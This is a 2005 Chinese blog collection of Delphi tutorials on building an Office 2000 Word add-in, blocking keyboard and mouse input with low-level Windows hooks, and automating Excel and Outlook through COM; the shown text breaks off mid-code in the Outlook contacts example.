IT博客-cyberfan's blog-文章分类-delphi

使用Delphi开发Office Word插件

cyberfan — Fri, 12 Aug 2005 08:08:00 GMT

在Office 2000中提供了基于COM的插件开发框架，这使得我们可以利用Delphi来扩展Office的功能。

　　在Delphi 3,4中编写基于COM的插件，我们需要自己创建COM接口的封装类，更糟糕的是要想支持事件的话还需要使用连接点（connection points）对象来实现事件回调，这是非常麻烦的。但在Delphi 5中这一切就变得非常轻松了，Delphi 5的类型库引入工具提供了/L+的开关，可以自动为我们生成封装好的OLE Server。这下子再也没有什么好抱怨的了。

Office 2000 插件框架

　　在Microsoft'的网站上，知识库文章（Knowledge Base article Q230689）中有一篇：Office 2000 COM Add-In Written in Visual C++ 。文章中提供了一个例子(http://support.microsoft.com/download/support/mslfiles/ COMADDIN.EXE)。这篇文章详细地描述了插件框架中的COM接口。仔细研究一下C++代码就可以了解如何编写Office 2000插件。

　　Office 2000插件其实就是一个实现了IDTExtensibility2接口的自动化对象。IDTExtensibility2 接口相当简单，插件需要实现接口定义的全部５个函数：

　　OnConnection：当应用程序连接到插件时会调用这个函数。插件在函数中接收下列初始化信息——应用程序对象模型进入点的指针，连接模式(是手工加入还是通过命令行载入), 应用程序的对象模型指针和用户自定义的信息。

　　OnDisconnection：当应用程序断开插件时被调用，插件应该在这里清除先前分配的资源，删除它添加到应用程序的界面元素。

　　OnStartupComplete：这个函数是当应用程序自动启动插件时被调用的。调用时，其他的插件都已经被加载到了内存，这时可以同其他插件进行通信。这个函数还适合添加用户界面元素。

　　OnBeginShutdown：当应用程序准备关闭并将要断开插件时会被调用，这时插件应该停止接收用户输入。

　　OnAddInsUpdate：当注册的插件列表被改变后会被调用。如果我们的插件不依赖于其他插件，这个函数可以为空。

接口、类型库和常数

　　创建插件前，我们需要引入COM对象的接口类型库。这里使用Delphi 5带的TlibImp.exe (Delphi5\Bin目录下)来引入类型库。新版的TlibImp.exe支持新的/L+开关，可以自动创建一个OLE Server的Delphi封装。IDTExtensibility2接口是在MSADDNDR.DLL文件中声明的，位于\Program Files\Common Files\Designer\ 目录下。调用TLIBIMP\L+\Program Files\Common Files\ Designer\MSADDNDR.DLL会生成AddInDesignerObjects_TLB.pas 和 AddInDesignerObjects_TLB.dcr两个文件。在项目的uses部分加上对上面文件的引用以便使用接口。clause of our project to gain access to the interface.使用时注意：TLIBIMP重命名接口为_IDTExtensibility2。

　　本文中将使用Word 2000作为例子，如果想编写Outlook、Excel或其他Office程序的插件需要引入相应特定的类型库。比如Word的类型库是定义在\Program Files\Microsoft Office\Office\MSWORD9.OLB文件中。类似的，Excel、Access和OutLook类型库分别定义在EXCEL9.OLB、MSACC9.OLB和MSOUTL9.OLB文件中。引入的接口生成在Office_TLB.pas和Word_TLB.pas单元中。

　　注意：Office 2000的插件无法工作在Office 97的应用程序中。

最简单的插件

　　现在让我们来实现一个最简单的插件，它只实现了IDTExtensibility2接口而没有实现任何比较有意义的功能，但对于演示如何实现插件是一个很好的开始。

　　插件可以以进程内或进程外COM服务器的形式实现，在本文中，我们创建的是进程内COM服务器。在Delphi中，选择菜单File | New命令，然后创建一个ActiveX Library，保存生成的文件，再创建一个自动化对象（Automation Object），类名定义为AddIn，把实现单元保存为AddInMain.pas。在AddInMain.pas单元的uses部分添加对AddinDesignerObjects_TLB，Word_TLB和Office_TLB单元的引用。最后添加 IDTExtensibility2 接口到类定义部分定义类要实现的接口。类定义如下：

　　type

　　　TAddIn = class(TAutoObject, IAddIn, IDTExtensibility2)

　　...

　　在类声明的protected部分，添加IDTExtensibility2 接口声明的方法定义，代码示意如下：

　　// IDTExtensibility2 methods

　　procedure OnConnection(const Application: IDispatch;

　　　ConnectMode: ext_ConnectMode; const AddInInst: IDispatch;

　　var custom: PSafeArray); safecall;

　　procedure OnDisconnection(RemoveMode: ext_DisconnectMode;

　　var custom: PSafeArray); safecall;

　　procedure OnAddInsUpdate(var custom: PSafeArray); safecall;

　　procedure OnStartupComplete(var custom: PSafeArray);　safecall;

　　procedure OnBeginShutdown(var custom: PSafeArray); safecall;

　　使用快捷键[Ctrl][Shift][C]来完成类定义，并添加方法的实现部分的框架到单元中。为了测试插件，可添加下面代码到OnConnection方法中：

　　ShowMessage('连接到' + WordApp.Name);

　　添加下面代码到OnDisconnection方法的实现部分：

　　ShowMessage('断开插件');

　　这样就完成了一个最简单的插件了，接下来就是编译并注册插件到Word中去。

注册Office插件

　　同其他COM对象一样，一个Office插件必须在系统中注册后才能使用。在Delphi中选择Run | Register ActiveX Server菜单命令，就可以注册我们刚才创建的插件。除了标准的COM注册，还需要进行Office 相关的注册，这需要在注册表中创建一个新的键值：

　　HKEY_CURRENT_USER\Software\Microsoft\Office\

　　　\Addins\

　　就是插件宿主应用程序的名字（这里是Word），是自动化对象的名字（这里是DIWordAddIn.AddIn，ActiveX library和类名的组合）。

　　HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ Word \ Addins\DIWord AddIn.AddIn

　　我们还需要在这个键值下创建几个值：一个DWORD类型的名为LoadBehavior的值决定插件是如何加载及被应用程序调用的。在本文中我们设定它为3-相当于１和２的结合就是应用程序连接插件并在启动时自动加载。值的意义列在表1.2中，各种值可以相互组合。

表1.2

值
意　　义

$0
　断开，不加载

$1
　连接，加载

$2
　自动启动加载

$8
　只有当用户请求时才加载

$16
　只在下次程序启动时加载一次

　　还有一些其他的值可以出现在注册表键值下，比如定义出现在应用程序COM管理器对话框中的名字，以及设定是否可以从命令行激活插件。

Office 2000用户界面

　　Ｏffice应用程序共享一组通用的用户界面元素对象、菜单条、工具条通用控件（比如工具条按钮和组合编辑框）以及Office小助手。

　　此前引入的Word类型库就包括了这些通用对象的类型库，但是Delphi引入时并没有像通常那样建立一个封装好的OLE Server，我们不得不手工创建一个Office公开的CommandBarButton对象的Delphi封装。这个对象对应于Office应用程序的一个简单的菜单项或工具条按钮。

　　对大多数的Microsoft的应用程序来说，Application对象代表对象模型的切入点。Office Application类提供了对CommandBars属性的引用。CommandBar对象包括工具条、浮动工具条和菜单。Office对模型允许我们创建或更新已有的CommandBars对象。Office_TLB.pas单元包含了ICommandBar接口，它可以被用来修改CommandBar对象。

　　CommandBar有一个Controls集合属性，对应于一组CommandBarControl控件。CommandBarControl控件对应于放置在工具条上的控件，比如一个CommandBarButton对应一个简单的工具条按钮（或菜单项），CommandBarCombo控件对应组合编辑框，CommandBarPopup对应于下拉菜单和CommandBarActiveX对应于ActiveX控制。

　　在Office_TLB.pas单元中，除了ICommandBarButton接口，还有一个ICommandBarButtonEvents接口用来提供对工具条上控件的事件支持。事件的支持通常是通过连接点、事件接收连接到可连接对象来实现。但这比较麻烦，我们还可以通过更简单的办法来实现事件支持。检查一下Delphi在word_tlb.pas单元创建的TWordApplication的实现代码可以发现Delphi封装了每一个可连接对象，自动实现了事件接收机制。这个单元可以作为一个范本用来创建自定义的对接口对象的封装。

　　BtnSvr.pas单元包含了一个手工创建的Delphi封装。除了按标准的Delphi属性方式实现了CommandBarButton对象的属性外，还实现了InitServerData、InvokeEvent、Connect、ConnectTo和Disconnect方法。可以注意到这部分完全是模仿TWordApplication实现部分编写的CommandBarButton事件实现。主要就是在InitServerData方法中定义服务器数据。根据Office_TLB.pas中不同的接口GUID，定义一个CommandBarButton接口的内部的接口Fintf，设定InvokeEvent方法来激活基于定义在事件接口部分的DispID的Delphi事件支持。最后，Connect、ConnectTo和Disconnect方法设定Fintf给需要的接口并接收相应的事件。

　　定义在BtnSvr.pas单元中的Delphi封装类命名为TButtonServer。它需要从TOleServer对象继承以便支持事件处理。

同应用程序连接

　　有了工具条按钮封装类后，接下来要声明一个TWordApplication域来保存对Word Application对象的引用。此外还需要为新的工具条定义一个接口指针以及两个域使用新的TButtonServer类来保存我们要创建的新的工具条按钮和菜单项。

　　在插件类的private部分添加：

　　FWordApp : TWordApplication;

　　DICommandBar : CommandBar;

　　DIBtn : TButtonServer;

　　DIMenu : TButtonServer;

　　在OnConnection方法中，保存应用程序指针：

　　var

　　　WA : Word_TLB._Application;

　　begin

　　　FWordApp := TWordApplication.Create(nil);

　　　WA := Application as Word_TLB._Application;

　　　WordApp.ConnectTo(WA);

　　　................................

　　TWordApplication是Delphi 5中带的Server组件，ConnectTo 方法是用来连接插件和Word提供的接口。因为TWordApplication 把接口事件映射成了Delphi事件，我们可以直接使用标准的Delphi语法来设定事件处理过程。示意如下：

　　WordApp.OnEventX := EventXHandler;

　　比如我们如果想在Word的选区发生改变时实现某项功能，就可以设定OnWindowSelectionChange 事件。

插件如何创建新的工具条、按钮和菜单

　　在创建新的工具条和按钮前，需要为按钮的OnClick过程先创建事件处理函数，下面就是简单的处理函数例子：

　　procedure TAddIn.TestClick(const Ctrl: OleVariant;

　　　var CancelDefault: OleVariant);

　　begin

　　　ShowMessage('有人点我了!');

　　　CancelDefault := True;

　　end;

　　CancelDefault参数用来设定是否替代缺省的菜单或工具条按钮的处理过程。这里不需要设定这个参数，因为我们将在插件中创建一个新的按钮。插件注册为在程序启动时被加载，所以OnStartupComplete方法一定会被调用，用这个方法创建用户界面元素是比较合适的。这里定义BtnIntf为CommandBarControl接口类型(要创建的CommandBarButton的父类接口)。接下来的任务是确定自定义的工具条是否已经被创建了

　　DICommandBar := nil;

　　for i := 1 to WordApp.CommandBars.Count do

　　　if (WordApp.CommandBars.Item[i].Name ='Delphi') then

　　　　DICommandBar := WordApp.CommandBars.Item[i];

　　　　// 确定是否已经注册了命令条

　　　if (not Assigned(DICommandBar)) then begin

　　　　DICommandBar:=

WordApp.CommandBars.Add('Delphi',EmptyParam,EmptyParam,EmptyParam);

　　　　DICommandBar.Set_Protection(msoBarNoCustomize)

　　end;

　　先给工具条起一个唯一的名字"Delphi"，然后在启动时检查工具条是否已经被创建了。如果是的话就把它赋值给DICommandBar，否则调用Word的CommandBars属性的Add方法创建一个新的工具条。接着给工具条添加msoBarNoCustomize的保护，这可以防止用户添加或删除工具条上的按钮。这时DICommandBar指向一个有效的工具条，我们可以从接口的Controls集合中获得工具条按钮接口指针。如果工具条上没有控件，就创建一个新的按钮。

　　if (DICommandBar.Controls.Count > 0) then

　　　BtnIntf := DICommandBar.Controls.Item[1]

　　 else

　　　BtnIntf := DICommandBar.Controls.Add(msoControlButton,

　　　EmptyParam, EmptyParam, EmptyParam, EmptyParam);

　　注意：集合中第一项是以1为底的，而不像Delphi中那样通常以0为底。现在我们获得了需要的工具条按钮接口，然后要创建一个基于按钮接口的TButtonServer 类封装。

　　 DIBtn := TButtonServer.Create(nil);

　　 DIBtn.ConnectTo(BtnIntf as _CommandBarButton);

　　 DIBtn.Caption := 'Delphi Test';

　　 DIBtn.Style := msoButtonCaption;

　　 DIBtn.Visible := True;

　　 DIBtn.OnClick := TestClick;

　　这里使用ConnectTo 方法连接按钮的事件并设定先前创建的OnClick事件处理过程。最后，要确认使工具条可见。

　　DICommandBar.Set_Visible(True);

　　TLIBIMP程序创建了一个只读的而非可读写的工具条Visible 属性，但可以使用Set_Visible 方法来设定显示属性（不能生成可读写的属性可能是TLIBIMP的bug）。添加新的菜单项类似于前面，首先创建菜单的OnClick事件处理函数，下面这个过程遍历被选文本的第一段，并设定其边框样式：

　　procedure TAddIn.MenuClick(const Ctrl: OleVariant;

　　　var CancelDefault: OleVariant);

　　var

　　　Sel : Word_TLB.Selection;

　　　Par : Word_TLB.Paragraph;

　　begin

　　　Sel := WordApp.ActiveWindow.Selection;

　　　if (Sel.Type_ in [wdSelectionNormal,

　　　　wdSelectionIP]) then begin

　　　　Par := Sel.Paragraphs.Item(1);

　　　if (Par.Borders.OutsideLineStyle < wdLineStyleInset) then

　　　　Par.Borders.OutsideLineStyle := 1 + Par.Borders.OutsideLineStyle

　　　else

　　　　Par.Borders.OutsideLineStyle := wdLineStyleNone;

　　　end;

　　end;

　　在OnStartupComplete方法中，添加下面的代码来获得工具菜单的接口指针，查找自定义的的菜单项，如果没有就创建新的，然后设定它的OnClick事件：

　　ToolsBar := WordApp.CommandBars['Tools'];

　　MenuIntf := ToolsBar.FindControl(EmptyParam, EmptyParam,

　　　'DIMenu', EmptyParam, EmptyParam);

　　if (not Assigned(MenuIntf)) then

　　　MenuIntf := ToolsBar.Controls.Add(msoControlButton,

　　　EmptyParam, EmptyParam, EmptyParam, EmptyParam);

　　　DIMenu := TButtonServer.Create(nil);

　　　DIMenu.ConnectTo(MenuIntf as _CommandBarButton);

　　　DIMenu.Caption := 'Delp&hi Menu';

　　　DIMenu.ShortcutText := '';

图1.34

　　　DIMenu.Tag := 'DIMenu';

　　　DIMenu.Visible := True;

　　　DIMenu.OnClick := MenuClick;

　　CommandBar接口的FindControl方法使用唯一的标识来查找菜单项，如果找到了控件就赋值给 MenuIntf，如果没有找到就创建一个新的菜单项。图1.34显示了自定义的工具条。

清理资源

　　注意应该在OnBeginShutdown 方法中清理用户界面元素：

　　　if (Assigned(DIBtn)) then

　　　begin

　　　　DIBtn.Free;

　　　　DIBtn := nil;

　　　end;

　　　if (Assigned(DIMenu)) then

　　　begin

　　　　DIMenu.Free;

　　　　DIMenu := nil;

　　　end;

　　　if (Assigned(DICommandBar)) then begin

　　　　DICommandBar.Delete;

　　　　DICommandBar := nil;

　　　end;

　　因为插件的框架是通用的，我们可以将同样的OLE Server DLL用于多个应用程序，方法就是确定将激活插件的应用程，并使用合适的对象模型。最简单的判断方法是在OnConnection中把应用程序的IDispatch的接口指针赋值给一个OleVariant变量，然后使用相应的Name 属性来确定相应的程序：

　　var

　　　AppVar : OleVariant;

　　begin

　　　AppVar := Application;

　　　if (AppVar.Name = 'Outlook') then

　　　begin

　　　　...

　　　end

　　　else if (AppVar.Name = 'Microsoft Word') then

　　　begin

　　　　...

　　　end else ...

　　最后，要想获得关于Office开发和Office 2000插件创建更详细的资料，可以查阅microsoft.public.officedev新闻组上的信息。

cyberfan 2005-08-12 16:08 发表评论

解决锁定键盘鼠标的方法

cyberfan — Fri, 12 Aug 2005 08:08:00 GMT

如果你不需要屏蔽Ctrl+Alt+Del组合键,可以使用低级键盘钩子(WH_KEYBOARD_LL)与低级鼠标钩子(WH_MOUSE_LL),这两种消息钩子的好处是不需要放在动态链接库中就可以作全局钩子,将键盘消息与鼠标消息截获.

unit uHookKeyAndMouse;
{ 该单元利用WH_KEYBOARD_LL与WH_MOUSE_LL两种类型的钩子分别截获键盘消息与鼠标消息}
{ 由于这里只是需要将消息屏蔽,故只需对钩子函数的返回结果设为1即可. }
{ 提供两个函数StartHookKeyMouse与StopHookKeyMouse两个函数. }

interface

uses
Windows, Messages, SysUtils;

const
WH_KEYBOARD_LL =13;
WH_MOUSE_LL =14;

procedure StartHookKeyMouse;
procedure StopHookKeyMouse;

implementation

var
hhkLowLevelKybd:HHook=0;
hhkLowLevelMouse:HHook=0;

function LowLevelKeyboardProc(nCode:Integer; WParam:WPARAM; LParam:LPARAM):LRESULT; stdcall;
begin
Result:=1;
if nCode<>0 then Result:=CallNextHookEx(0,nCode,WParam,LParam);
end;

function LowLevelMouseProc(nCode:Integer; WParam:WPARAM; LParam:LPARAM):LRESULT; stdcall;
begin
Result:=1;
if nCode<>0 then Result:=CallNextHookEx(0,nCode,WParam,LParam);
end;

procedure StartHookKeyMouse;
begin
if hhkLowLevelKybd = 0 then
begin
hhkLowLevelKybd := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, Hinstance, 0);
end;
if hhkLowLevelMouse = 0 then
begin
hhkLowLevelMouse:=SetWindowsHookEx(WH_MOUSE_LL,LowlevelMouseProc,HInstance,0);
end;
end;

procedure StopHookKeyMouse;
begin
if hhkLowLevelKybd <> 0 then
begin
UnhookWindowsHookEx(hhkLowLevelKybd);
hhkLowLevelKybd:=0;
end;
if hhkLowLevelMouse <> 0 then
begin
UnHookWindowsHookEx(hhkLowLevelMouse);
hhkLowLevelMouse:=0;
end;
end;

initialization
hhkLowLevelKybd:=0;
hhkLowLevelMouse:=0;
finalization
if hhkLowLevelKybd <> 0 then UnhookWindowsHookEx(hhkLowLevelKybd);
if hhkLowLevelMouse <> 0 then UnhookWindowsHookEx(hhkLowLevelMouse);
end.

来自：conworld, 时间：2005-2-24 16:06:31, ID：2996263
高手终于出现了，谢谢
你的方法确实实现了锁定鼠标，但是我想达到的效果是：
1.锁定键盘
2.鼠标只能在我的程序窗口中操作
谢谢

来自：smokingroom, 时间：2005-2-24 17:01:12, ID：2996381
要求2(鼠标只能在我的程序窗口中操作)的实现:
修改LowLevelMouseProc过程如下:

type
PMSLLHOOKSTRUCT=^MSLLHOOKSTRUCT;
MSLLHOOKSTRUCT = record
pt:TPoint;
mouseData:DWORD;
flags:DWORD;
time:DWORD;
dwExtraInfo:DWORD;
end;

var
MouseRect:TRect; //这是你需要限制的Mouse活动范围.

function LowLevelMouseProc(nCode:Integer; WParam:WPARAM; LParam:LPARAM):LRESULT; stdcall;
var
p:PMSLLHOOKSTRUCT;
begin
Result:=0;
if nCode=HC_ACTION then
begin
p:=PMSLLHOOKSTRUCT(LParam);
if (p.pt.X < MouseRect.Left) or (p.pt.X > MouseRect.Right) or
(p.pt.Y < MouseRect.Top) or (p.pt.Y > MouseRect.Bottom) then
Result:=1;
end else
if nCode<>0 then Result:=CallNextHookEx(0,nCode,WParam,LParam);
end;

附取得MouseRect的代码,假定你的主窗体体为MainFrm
MouseRect:=MainFrm.ClientRect;
MouseRect.TopLeft:=MainFrm.ClientToScreen(MouseRect.TopLeft);
MouseRect.BottomRight:=MainFrm.ClientToScreen(MouseRect.BottomRight);

另在Result:=1之前加多一个ClipCursor(@MouseRect)效果会更好,可以有效解决当按下Ctrl+Alt+Del后将Mouse移出窗体后,Mouse失效的情况.
if (p.pt.X < MouseRect.Left) or (p.pt.X > MouseRect.Right) or
(p.pt.Y < MouseRect.Top) or (p.pt.Y > MouseRect.Bottom) then
begin
ClipCursor(@MouseRect)
Result:=1;
end

cyberfan 2005-08-12 16:08 发表评论

Delphi自动化控制Excel

cyberfan — Fri, 12 Aug 2005 08:07:00 GMT

如何控制Excel程序来输出数据，插入公式并根据数据画出图表来呢？Delphi 5 提供了一组封装了Office 97和Office 2000的控件，这组控件位于控件面板的Servers页面上，它可以极大地简化对Office的调用。不过糟糕的是，Borland并没有为这些控件提供使用帮助，但实际上使用这些控件是非常简单的，并且Office的对象体系也在Office的帮助中有着详细的说明。

　　下面我们将编写一个程序来演示如何控制Excel来创建月份销售情况的报表和图表的。程序运行结果如图1.29所示。

连接Excel

　　同Excel建立连接可以使用Connect 方法。控件由于某些原因可能同Excel无法建立连接，因此应该为连接代码建立一个异常处理，代码示意如下：

　　try

　　　ExcelApplication1.Connect;

　　　except

　　　on E: Exception do

　　　begin

　　　　E.Message := '无法连接Excel';

　　　　Raise;

　　　end;

　　end;

　　ExcelApplication1.Visible[0] := True;

　　建立连接的方式依赖于Server组件的两个重要属性：第一个是AutoConnect 属性，如果为True，表明程序启动后无须调用connect方法就能自动连接Excel；另一个属性是ConnectKind ，它决定了如何建立连接：ckRunningOrNew 表明首先尝试连接到一个当前的服务器上，如果服务器还没运行，则创建服务器的一个实例，然后连接。

　　ckNewInstance 总是创建一个新的服务器实例，当我们希望不同用户之间保持相互独立的时候比较有用。

　　ckRunningInstance 只同当前运行的服务器相连接。

　　ckRemote 同一个由RemoteMachineName指定的远程机器上运行的服务器相连接。

　　ckAttachToInterface 表示并不同服务器绑定，但程序使用ConnectTo方法提供一个接口。

　　调用方法或设定Server控件的属性也能隐式地建立连接。比如设定Visible 属性为True就会自动建立连接，当然设定为True还会自动显示Excel的界面，如果我们不想显示Excel的界面，就可还是用前面的方法来建立连接。

　　Server组件相互间还可以通过ConnectTo方法连接。下面的代码把ExcelWorkbook对象同一个ExcelApplication对象新创建的Workbook相连接：

　　ExcelWorkbook1.ConnectTo(ExcelApplication1.Workbooks.Add(Empty Param,0));

　　ExcelWorkbook 对象可以直接同Add 方法的返回值相连接，这是因为引入Excel类型库文件时，Workbook的引用被修改为对ExcelWorkbook的引用。然而，一些返回对对象引用的属性或方法必须映射为正确的类型。比如下面代码把第一个WorkSheet的返回值映射为_Worksheet，然后同ExcelWorkSheet组件相连接：

　　ExcelWorksheet1.ConnectTo(ExcelWorkbook1.Sheets[1] as _Worksheet);

向自动化服务器传递参数

　　绝大多数的自动化服务器使用variant 作为参数类型。客户端使用Variant传递参数，而服务器会把参数转换为正确的数据类型。与一般数据类型相比，Variant 会占用更多的内存，运行更慢，但它比较灵活。而且，它允许不支持相同数据类型的程序同服务器进行通讯。对于未使用或是缺省的参数我们可以使用EmptyParam代表：

　　ExcelApplication1.Workbooks.Add(EmptyParam, 0);

　　另外，很多Excel的方法需要一个LCID 参数。这个参数代表语言支持，Locale ID可以用来抵消控制面板中区域设置强迫使用ID代表的语言。除非程序有国际化需求，否则我们通常使用0，它代表使用系统缺省的本地设置。

Excel的对象模型

　　为了正确使用Excel Server组件，我们需要了解Excel的对象模型以及Excel的功能如何实现。Excel的对象模型可以从随Excel发布的帮助文件中找到（对于Office 97来说是vbaxl8.hlp文件，对于Office 2000来说是vbaxl9.chm文件）。

　　Application对象是Excel对象体系的最顶层，通过Application对象我们可以获得所有其他的Excel对象。Excel中的文档叫workbooks，一个workbook是一组worksheets和Sheets的集合。每个worksheet包含单元格来储存数据和公式。同时单元格还有相应的格式信息，比如字体颜色和布局等。Range 对象用来定义一个单元格或连续的单元格选区的范围。

　　程序执行的顺序类似于用户界面操作的顺序。比如要想在单元格中输入文本，如同用户的操作一样，首先要打开Excel，然后使用当前workbook或新建一个。接着使用当前的worksheet或创建一个新的worksheet。最后，选择一个单元格，输入文本。

　　这些步骤只使用ExcelApplication 组件就可以实现，但调用比较麻烦，而使用其他Sever组件配合ExcelApplication 组件会更容易。比如下面我们将讲解如何使用ExcelApplication、ExcelWorkbook和ExcelWorksheet 组件。

Workbooks和Worksheets

　　有几种方式可以同workbook连接：调用一个已打开的workbook，创建一个新的workbook或打开一个先前已经保存了的workbook。前面的例子使用Workbooks 对象创建了一个新的workbook并与之连接。而Excel中已打开的workbooks则可以通过名字、索引或ActiveWorkbook 属性来得到：

　　ExcelWorkbook1.ConnectTo(ExcelApplication1.ActiveWorkbook);

　　上面代码获得了当前激活的Workbook，而下面代码打开一个已保存的workbook并与之连接：

　　 ExcelWorkbook1.ConnectTo(ExcelApplication1.Workbooks.Open(

　　　 'c:\code\excel\book1.xls', EmptyParam, EmptyParam, EmptyParam,

　　 EmptyParam, EmptyParam, EmptyParam, EmptyParam, EmptyParam,

　　 EmptyParam, EmptyParam, EmptyParam, EmptyParam, 0));

　　获取worksheets同上面类似。先前的例子显示了通过索引连接第一个worksheet，下面例子则演示如何通过名字连接worksheet：

　　ExcelWorksheet1.ConnectTo(ExcelWorkbook1.Sheets['sheet1'] as _Worksheet);

输入数据和公式

　　获得worksheet后，就可以在单元格中输入数据了。这里有很多输入数据到Excel中的方法。如果数据可以用ODBC读取的话，ExcelQueryTable 控件是最适合直接把数据输入worksheet中的。Excel还可以直接打开逗号分割的文件，所以也可以把数据写到文件中去，然后用Excel打开。对于少量的数据来说可以直接写到单元格中去。下面的代码是从演示程序中提取的，它遍历数据库，然后把销售日期写到第一列，把数量写到第二列。

　　iRow := 1;

　　while not Query1.Eof do begin

　　　ExcelWorksheet1.Cells.Item[iRow + 1,1] := Query1.FieldByName('SaleDate').AsString;

　　　ExcelWorksheet1.Cells.Item[iRow + 1,2] := FloatToStr(

　　　Query1.FieldByName('ItemsTotal').AsCurrency);

　　　ExcelWorksheet1.Cells.Item[iRow + 1,2].Style := 'currency';

　　　Inc(iRow);

　　　Query1.Next;

　　end;

　　公式的输入与此相类似，下面的代码把一个公式输入到第二列的底部来计算销售总和：

　　ExcelWorksheet1.Cells.Item[iRow + 2,2] := '=SUM(B1:B' + IntToStr(iRow) + ')';

如何生成图表

　　我们可以使用ExcelChart 组件来创建或修改图表，图表既可以嵌入在Sheet中，也可以是单独的图表Sheet。下面的代码使用Sheets对象来创建一个图表worksheet：

　　ExcelChart1.ConnectTo(ExcelWorkbook1.Sheets.Add(EmptyParam,

　　　EmptyParam, 1, Variant(xlChart), 0) as _Chart)

　　创建图表可以调用ChartWizard方法，下面的代码演示了如何使用这个方法。方法的第一个参数是包含源据的range对象，range的第一列包含月份名，第二列对应相应月份的销售总和。PlotBy 属性设为xlRows而SeriesLabels属性设为1是因为数据是按列来打标签的。

　　var

　　　oRange: Variant;

　　begin

　　　// 定义数据源的范围

　　　oRange := ExcelWorksheet1.Range['A1', 'B13'];

　　　// 使用ChartWizard方法

　　　ExcelChart1.ChartWizard(

　　　oChartRange,　 // 数据源

　　　Variant(xl3DColumn),　 // Gallery类型图表

　　　4,　　// 格式

　　　Variant(xlRows),　 // 按列作图

　　　0,　　// 分类标签

　　　1,　　// Series标签

　　　True,　 // 有插图

　　　'Monthly Sales',　 // 标题

　　　'Month',　　 // 分类标题

　　　EmptyParam,　　// 数值标题

　　　EmptyParam,　　// 额外标题

　　　0);　　 // 语言代码

　　end;

图1.30

　　创建的图表如图1.30所示。

　　ExcelChart 对象还提供了大量的事件，可以利用这些事件来开发交互式图表。演示程序中还提供了嵌入到Worksheet的图表的例子。

调用Excel 2000

　　缺省条件下，Delphi中安装的Server组件是基于Office 97的，但是Office 2000是向后兼容的，所以也可以用来调用Office 2000。然而要想利用Excel 2000中的新特性的话，必须安装Excel 2000的server组件，由于Office 97和Office 2000的组件类使用相同的名字，所以两者不能同时安装。所以要想安装Office 2000的Server组件，首先要移去Office 97组件（DclAxServer50.bpl），然后添加/bin目录下的Dcloffice2k50.bpl包文件来注册Office 2000组件。

　　Excel 2000的对象体系有很多变化，表现在引入的类型库从Office 97的1830KB增加到了4915KB。主要的新特性包括对ADO的直接支持、Office 2000 Web组件(允许电子表格和图表被保存为动态网页)以及网页脚本。

cyberfan 2005-08-12 16:07 发表评论

利用自动化控制Outlook

cyberfan — Fri, 12 Aug 2005 08:07:00 GMT

Outlook对象模型结构如图1.31所示，最顶层的对象是Application，通过Application 对象可以使用其他所有的Outlook对象，另外Application 是唯一可以用CreateOleObject 函数创建的Outlook对象。下一个要说的是NameSpace 对象，它提供了对数据源的存取，在Outlook 98中MAPI消息存储是唯一的数据源。

　　MAPIFolders集合对应一组MAPI文件夹，也就是一组MAPIFolder对象。每个MAPIFolder对象还包含一个Folders集合，每个集合中还包含一个管理Item对象的Items集合。图1.32是一个Delphi程序，它显示了MAPIFolders集合以及个人文件夹中的Folders集合和其中联系人目录的Items的内容。程序代码如下：

图1.32

　　procedure TForm1.OpenBtnClick(Sender: TObject);

　　var

　　　OutlookApp, Mapi,

　　　Contacts, Personal : Variant;

　　　I: Integer;

　　begin

　　　{ 获取Outlook Application 对象 }

　　　OutlookApp := CreateOleObject('Outlook.Application');

　　　{ 获取 MAPI NameSpace对象 }

　　　Mapi := OutlookApp.GetNameSpace('MAPI');

　　　{ 遍历MAPI 目录集合并添加目录名到列表框中}

　　　for I := 1 to Mapi.Folders.Count do

　　　MapiList.Items.Add(Mapi.Folders(I).Name);

　　　{ 获取个人文件夹的目录集合}

　　　Personal := Mapi.Folders('个人文件夹');

　　　{ 遍历个人文件夹的目录，并添加目录名到列表框中去 }

　　　for I := 1 to Personal.Folders.Count do

　　　PersonalList.Items.Add(Personal.Folders(I).Name);

　　　{ 获取联系人目录}

　　　Contacts := Personal.Folders('联系人');

　　　{ 获取联系人目录中的联系人人名列表 }

　　　for I := 1 to Contacts.Items.Count do

　　　ContactsList.Items.Add(Contacts.Items(I).FullName);

　　　{ 关闭 Outlook. }

　　　OutlookApp := Unassigned;

　　end;

　　这里我们像VB那样使用后期绑定来调用Outlook。CreateOleObject 使用Outlook.Application （Outlook的类名）作为参数调用加载Outlook服务器并返回一个对Application对象的引用。通过Application对象可以获得对其他Outlook对象的引用。调用Application对象的GetNameSpace方法会返回NameSpace对象（注意调用参数为MAPI）。通过NameSpace 对象，代码遍历了MAPIFolders 集合然后添加了每个目录的名字到MapiList列表框。

　　正如在图1.32中看到的，MAPIFolders集合中包含有一个个人文件夹，接下来代码就获得了对个人文件夹的引用Personal := Mapi.Folders('个人文件夹')；然后是再用一个循环获得个人文件夹中的全部目录名，最后是获得联系人目录，并由Items 集合获得全部联系人目录中的人名（通过FullName属性获得）。

　　很明显要想掌握控制Outlook的方法，我们必须清楚Outlook的对象继承关系以及每个对象的属性、方法和事件。Outlook提供了一个帮助文件VBAOUTL.HLP，其中包括了相关信息。

　　下面的代码演示了如何搜索联系人目录，并把内容复制到一个数据库中：

　　procedure TLoadTableForm.LoadBtnClick(Sender: TObject);

　　var

　　　OutlookApp,　Mapi,

　　　ContactItems,　CurrentContact: Variant;

　　begin

　　　OutlookApp := CreateOleObject('Outlook.Application');

　　　Mapi := OutlookApp.GetNameSpace('MAPI');

　　　{ 获取联系人目录的Items集合 }

　　　ContactItems := Mapi.Folders('个人文件夹').Folders('联系人').Items;

　　　{ 加载到数据库中 }

　　　with ContactTable do

　　　begin

　　　　EmptyTable;

　　　　Open;

　　　　DisableControls;

　　　　CurrentContact := ContactItems.Find('[CompanyName] = ' +

　　　　QuotedStr('Borland International'));

　　　　while not VarIsEmpty(CurrentContact) do

　　　　begin

　　　　　Insert;

　　　　　FieldByName('EntryId').AsString :=

　　　　　CurrentContact.EntryId;

　　　　　FieldByName('LastName').AsString :=

　　　　　CurrentContact.LastName;

　　　　　FieldByName('FirstName').AsString :=

　　　　　CurrentContact.FirstName;

　　　　　FieldByName('CompanyName').AsString :=

　　　　　CurrentContact.CompanyName;

　　　　　FieldByName('BusAddrStreet').AsString :=

　　　　　CurrentContact.BusinessAddressStreet;

　　　　　FieldByName('BusAddrPOBox').AsString :=

　　　　　CurrentContact.BusinessAddressPostOfficeBox;

　　　　　FieldByName('BusAddrCity').AsString :=

